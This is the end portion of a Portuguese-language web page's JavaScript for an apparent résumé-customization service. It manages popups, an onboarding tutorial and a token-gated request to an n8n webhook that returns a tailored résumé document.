              alert('Ocorreu um erro ao processar o pagamento. Por favor, tente novamente.');
            }
          });
      }
  
      // Fechar popup de upsell ao clicar fora
      document.getElementById('popupOverlay').addEventListener('click', function(e) {
        if (e.target === this) {
          closePopup();
        }
      });
  
      // Abrir popup de token
      function openTokenPopup() {
        document.getElementById('popupOverlayToken').style.display = 'block';
      }
  
      // Fechar popup de token
      function closeTokenPopup() {
        document.getElementById('popupOverlayToken').style.display = 'none';
      }
  
      // Comprar 1 token (redireciona ao mesmo Stripe)
      function redirectToCheckoutToken() {
        redirectToCheckout();
      }

      // Ajuste para 5 passos no tutorial
      let currentStep = 1;
      const totalSteps = 5;

      if (!localStorage.getItem('tutorialShown')) {
        document.getElementById('tutorialOverlay').style.display = 'block';
        
    }


      function showStep(step) {
          document.querySelectorAll('.tutorial-step').forEach(el => el.classList.remove('active'));
          document.querySelector(`.tutorial-step[data-step="${step}"]`).classList.add('active');
          
          const nextButton = document.querySelector('.tutorial-navigation .primary');
          if (step === totalSteps) {
              nextButton.textContent = 'Começar';
              localStorage.setItem('tutorialShown', 'true');
              
          } else {
              nextButton.textContent = 'Próximo';
          }
      }

      function nextStep() {
          if (currentStep === totalSteps) {
              document.getElementById('tutorialOverlay').style.display = 'none';
              return;
          }
          currentStep++;
          showStep(currentStep);
      }

      function previousStep() {
          if (currentStep > 1) {
              currentStep--;
              showStep(currentStep);
          }
      }

      // Função de envio de token com indicador de carregamento
      async function sendToken() {
          const token = document.getElementById('tokenInput').value.trim();
          const vaga = document.getElementById('vaga').value.trim();
          const curriculo = document.getElementById('curriculo').value.trim();

          if (!vaga || !curriculo) {
              alert('Por favor, preencha a Vaga e o Currículo antes de enviar o token.');
              return;
          }

          if (!token) {
              alert('Por favor, informe o token de geração.');
              return;
          }

          // Mostrar spinner e desabilitar botão
          const spinner = document.getElementById('tokenLoadingSpinner');
          const button = document.getElementById('sendTokenButton');
          spinner.style.display = 'block';
          button.disabled = true;

          try {
              const response = await fetch('https://testeoba.app.n8n.cloud/webhook/generate', {
                  method: 'POST',
                  headers: {
                      'Content-Type': 'application/json'
                  },
                  body: JSON.stringify({ vaga, curriculo, token })
              });

              if (!response.ok) {
                  throw new Error('Ocorreu um erro ao gerar o currículo.');
              }

              let jsonResult;
              try {
                  jsonResult = await response.clone().json();
              } catch (e) {
                  jsonResult = null;
              }

              if (jsonResult && jsonResult.invalid === "Token Invalido") {
                  alert('Token inválido. Verifique seu token e tente novamente.');
                  return;
              }

              // Gera o arquivo e faz download
              const blob = await response.blob();
              const downloadUrl = window.URL.createObjectURL(blob);
              const link = document.createElement('a');
              link.href = downloadUrl;
              link.download = 'curriculo_personalizado.docx';
              document.body.appendChild(link);
              link.click();
              link.remove();

              closeTokenPopup();
              alert('Currículo personalizado gerado com sucesso!');
          } catch (err) {
              console.error(err);
              alert('Não foi possível gerar o currículo personalizado. Verifique seu token e tente novamente.');
          } finally {
              // Esconder spinner e habilitar botão
              spinner.style.display = 'none';
              button.disabled = false;
          }
      }
  </script>
</body>
</html>
